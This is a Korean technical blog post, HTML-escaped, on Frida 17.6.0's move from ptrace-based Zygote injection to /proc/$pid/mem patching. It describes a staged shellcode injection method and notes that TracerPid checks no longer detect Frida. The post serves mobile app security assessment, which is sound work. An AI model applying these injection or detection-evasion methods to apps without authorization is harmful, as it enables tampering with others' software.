      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dn3G7C/dJMcabQIqpK/QQ3h38C4GkQEPVwUHk8nEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dn3G7C/dJMcabQIqpK/QQ3h38C4GkQEPVwUHk8nEK/img.png&quot; data-alt=&quot;Frida 공식 릴리즈 노트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dn3G7C/dJMcabQIqpK/QQ3h38C4GkQEPVwUHk8nEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdn3G7C%2FdJMcabQIqpK%2FQQ3h38C4GkQEPVwUHk8nEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1456&quot; height=&quot;712&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Frida 공식 릴리즈 노트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Frida 17.6.0(2026.01.18)부터 Android 동적 분석의 핵심 메커니즘이 근본적으로 변경되었다. 기존 ptrace/child-gating 기반 Zygote 주입 방식에서 &lt;code&gt;/proc/$pid/mem&lt;/code&gt; 기반의 경량 외부 패칭(Zymbiote) 방식으로 전환되었다. 이후 17.6.1~17.6.2, 17.7.0~17.7.3 까지 빠른 연속 릴리즈로 안정화 작업이 진행 중이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;앱 취약점 진단에서 Frida는 사실상 필수 도구이다. 이번 변경은 내부 동작 방식의 전면 교체이므로, ptrace 기반 탐지 우회나 Magisk 충돌 등 기존에 겪던 문제들의 원인과 해결 여부가 달라진다. 변경사항을 정리한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 기존 방식: ptrace + child-gating 기반 Zygote 주입&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2.1 Zygote란&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Android에서 모든 앱 프로세스는 Zygote라는 부모 프로세스로부터 fork()되어 생성된다. Zygote는 ART 런타임과 공통 라이브러리를 미리 로드한 상태로 대기하며, 새 앱 실행 요청이 오면 자신을 복제(fork)하여 자식 프로세스를 만든다. 이 구조 덕분에 앱 시작 시간이 단축된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2.2 기존 동작 흐름&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존 Frida의 Android 계측은 다음 순서로 동작했다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;frida-server&lt;/code&gt;가 Zygote 프로세스에 &lt;code&gt;ptrace()&lt;/code&gt;로 연결(attach)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;frida-agent&lt;/code&gt;를 Zygote 내부에 주입&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;child-gating으로 &lt;code&gt;fork()&lt;/code&gt; 이벤트를 감시&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;새로 생성된 자식 프로세스(앱)에 대해 계측 수행&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;ptrace()&lt;/code&gt;는 Linux 디버깅 인터페이스로, 대상 프로세스의 메모리 읽기/쓰기와 실행 제어가 가능하다. frida-server는 이를 이용해 Zygote 내부에 에이전트 코드를 삽입하고, fork() 시점을 잡아내어 자식 프로세스에 대한 계측을 수행했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2.3 문제점&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 방식에는 구조적인 문제가 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;ptrace 점유 충돌&lt;/b&gt;: ptrace()는 하나의 프로세스에 대해 하나의 tracer만 허용한다. frida-server가 Zygote를 점유하면 Magisk, Riru 등 다른 도구가 Zygote에 접근할 수 없다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Zygote 크래시 위험&lt;/b&gt;: 주입 타이밍에 따라 앱이나 시스템 서비스가 크래시할 수 있다. Zygote가 죽으면 사용자 영역(userspace) 전체가 재시작된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;유휴 syscall 판단 버그&lt;/b&gt;: ptrace 대기 중 Zygote가 유휴 상태인지 판단하는 로직에 버그가 있었다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;SELinux/OEM 커널 차단&lt;/b&gt;: SELinux 정책이나 OEM 커널에서 ptrace를 차단하는 경우 동작 자체가 불가능했다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;fd 은닉 필요&lt;/b&gt;: Zygote는 fork 시 예상치 못한 file descriptor가 있으면 abort()를 호출한다. frida-agent가 보유한 fd를 숨기는 로직이 필요했다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 변경된 방식: /proc/$pid/mem 기반 Zymbiote 페이로드&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3.1 핵심 변경&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.6.0부터 ptrace()를 완전히 제거하고, &lt;code&gt;/proc/$pid/mem&lt;/code&gt;을 통해 외부에서 메모리를 직접 조작하는 방식으로 전환되었다. 이 기법의 원리는 erfur의 블로그(&lt;a href=&quot;https://erfur.dev/blog/dev/code-injection-without-ptrace&quot;&gt;Code injection without ptrace&lt;/a&gt;)에서 상세히 다루고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/proc/$pid/mem&lt;/code&gt;은 Linux에서 프로세스의 가상 메모리를 파일처럼 읽고 쓸 수 있는 인터페이스이다. 적절한 권한(같은 UID 또는 root)이 있으면 ptrace 없이도 대상 프로세스의 메모리를 조작할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3.2 동작 흐름&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;변경된 방식의 동작 흐름은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/proc/$pid/mem&lt;/code&gt;으로 Zygote 메모리를 스캔한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Gum의 ELF 파서로 &lt;code&gt;android.os.Process.setArgV0Native()&lt;/code&gt; 메서드의 ArtMethod 구조체 위치를 파악한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;해당 메서드의 함수 포인터를 Zymbiote 페이로드로 교체한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;페이로드가 실행되면 abstract UNIX 소켓으로 frida-core에 PID, PPID, 패키지명을 전송한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-core가 응답 후 원본 코드를 복원하고 &lt;code&gt;SIGCONT&lt;/code&gt;를 전송한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;소켓 연결 실패 시에도 프로세스 크래시 없이 안전하게 복귀한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3.3 setArgV0Native를 후킹 지점으로 선택한 이유&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;setArgV0Native()&lt;/code&gt;는 Zygote가 fork()한 후 자식 프로세스에서 호출되는 네이티브 메서드이다. 이 시점에 후킹하면 앱의 실제 코드가 실행되기 전에 계측 진입점을 확보할 수 있다. 기존의 child-gating이 fork() 자체를 감시했다면, 변경된 방식은 fork() 이후 자식 프로세스 내부에서 자연스럽게 호출되는 메서드를 이용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3.4 Zymbiote 페이로드 구조&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Zymbiote 페이로드는 arm64 기준 920바이트(295줄 C코드)로 구성된다. 페이로드의 역할을 정리하면 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실행 시 abstract UNIX 소켓을 생성하여 frida-core에 연결&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;PID, PPID, 패키지명을 전송하여 어떤 앱이 시작되었는지 알림&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-core의 응답을 대기한 후 원본 코드 복원&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;연결 실패 시 크래시 없이 정상 흐름으로 복귀 (graceful degradation)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존 방식에서 frida-agent가 Zygote 내부에 상주하며 지속적으로 동작했던 것과 달리, Zymbiote는 외부에서 패칭하고 실행 후 즉시 원복하는 일회성 구조이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3.5 erfur의 /proc/pid/mem 주입 기법&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 변경의 기반이 된 erfur의 기법은 세 단계로 구성된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Stage 1: 함수 하이재킹&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;대상 프로세스에서 자주 호출되는 함수(예: &lt;code&gt;malloc&lt;/code&gt;)를 식별하고, &lt;code&gt;/proc/maps&lt;/code&gt;에서 가상 주소를 계산한다. 해당 함수를 셸코드로 덮어써서 활성 스레드에서 실행되도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Stage 2: 1차 셸코드&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;원자적 연산(arm64의 &lt;code&gt;ldxrb&lt;/code&gt;/&lt;code&gt;stxrb&lt;/code&gt;)으로 스레드를 동기화하고, &lt;code&gt;mmap&lt;/code&gt;으로 새 메모리를 할당한다. 할당된 주소를 injector에게 전달한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Stage 3: 2차 셸코드&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;injector가 실제 페이로드를 새 메모리에 기록한다. &lt;code&gt;dlopen&lt;/code&gt;으로 공유 라이브러리를 로드하거나 커스텀 코드를 실행할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;arm64에서는 데이터 캐시와 명령어 캐시가 분리되어 있으므로, 코드를 쓴 후 &lt;code&gt;dsb ish&lt;/code&gt;와 &lt;code&gt;isb&lt;/code&gt; 배리어로 캐시를 플러시해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. system_server 변경사항&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;system_server에 대한 접근 방식도 함께 변경되었다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;height: 136px;&quot; width=&quot;747&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;항목&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;변경&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;접근 방식&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;system_server에 코드 주입&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-helper.dex 사용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;의존성&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-java-bridge&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;없음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기능&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;제한적&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;액티비티 실행, 브로드캐스트 전송 등 지원&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존에는 system_server에 직접 코드를 주입하고 frida-java-bridge에 의존했다. frida-java-bridge는 libart.so의 내부 구조에 의존하므로, ART 버전이 바뀔 때마다 호환성 문제가 발생했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;변경 후에는 &lt;code&gt;frida-helper.dex&lt;/code&gt;를 Linux/Droidy 백엔드 간에 공유하여 사용한다. frida-java-bridge 의존성을 제거함으로써 libart.so 호환성 문제로부터 자유로워졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 후속 릴리즈 (17.6.1 ~ 17.7.3)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;i&gt;* 2026-02-20 기준 작성되었습니다.&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.6.0의 대규모 변경 이후 빠른 속도로 안정화 릴리즈가 이어졌다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.6.1&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;BTI(Branch Target Identification) 활성화된 arm64 시스템에서 크래시 수정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Zymbiote 페이로드를 더 안전한 주소 범위에 배치&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;BTI는 최신 arm64 프로세서의 보안 기능으로, 간접 분기 대상이 올바른지 검증한다. 17.6.0의 페이로드가 BTI 정책을 위반하여 크래시가 발생했고, 17.6.1에서 수정되었다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.6.2&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;memfd 제한 환경(Termux 등) 지원&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ELF 모듈 안정성 개선&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;BTI 활성 환경의 간접 분기 크래시 추가 수정&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.7.0 ~ 17.7.3 (2026.02.13 ~ 16)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4일간 4개 버전이 연속 릴리즈되었다. 주요 변경사항은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Android 14/15 호환성 복구&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Zygote/Exceptor/ART 진입점 수정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ptrace 의존도 추가 감소&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;17.7.x에서 Android 14/15 대상으로 Zygote 진입에 실패하는 문제가 보고되었고, ART 내부 구조 변경에 맞춰 진입점을 수정하는 작업이 이루어졌다. 4일간 4번의 릴리즈가 나왔다는 것 자체가 이 영역의 안정화가 아직 진행 중임을 보여준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. 앱 진단 관점에서의 영향&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6.1 긍정적 변화&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Magisk 등 다른 도구와의 충돌 감소&lt;/b&gt;: ptrace 점유가 해소되었으므로, Magisk/Riru/Zygisk 등과 동시에 사용할 때 충돌이 줄어든다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Zygote 크래시 확률 감소&lt;/b&gt;: 외부 패칭 + 즉시 원복 방식이므로 Zygote 내부에 에이전트가 상주하지 않는다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;SELinux 강화 환경에서의 동작 가능성 향상&lt;/b&gt;: ptrace 차단 정책의 영향을 받지 않는다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6.2 주의사항&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-server를 17.6.0 이상으로 업데이트해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존 child-gating 기반 스크립트의 내부 동작 방식이 달라졌으나, 사용자 API(&lt;code&gt;spawn&lt;/code&gt;, &lt;code&gt;attach&lt;/code&gt; 등)는 유지된다. 대부분의 스크립트는 수정 없이 동작한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;BTI 활성화된 최신 기기에서는 17.6.1 이상이 필수이다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Android 14/15 대상 진단 시 17.7.x를 권장한다. 17.7.0~17.7.3은 안정화 과정이므로 가능한 최신 버전을 사용한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;일부 OEM 환경에서 &lt;code&gt;/proc/$pid/mem&lt;/code&gt; 접근도 제한될 수 있다. ptrace 차단과 마찬가지로, 보안 강화된 커널에서는 이 경로도 막힐 가능성이 있다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6.3 탐지 관점 변화&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 변경은 Frida 탐지/우회 관점에서도 의미가 크다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;기존 탐지 방식의 무력화&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존에는 &lt;code&gt;/proc/self/status&lt;/code&gt;의 &lt;code&gt;TracerPid&lt;/code&gt; 값을 확인하여 ptrace 연결 여부로 Frida를 탐지하는 방식이 널리 사용되었다. 17.6.0부터 ptrace를 사용하지 않으므로 &lt;code&gt;TracerPid&lt;/code&gt;는 항상 0이다. 이 탐지 방식은 더 이상 유효하지 않다.&lt;/span&gt;&lt;/p&gt;
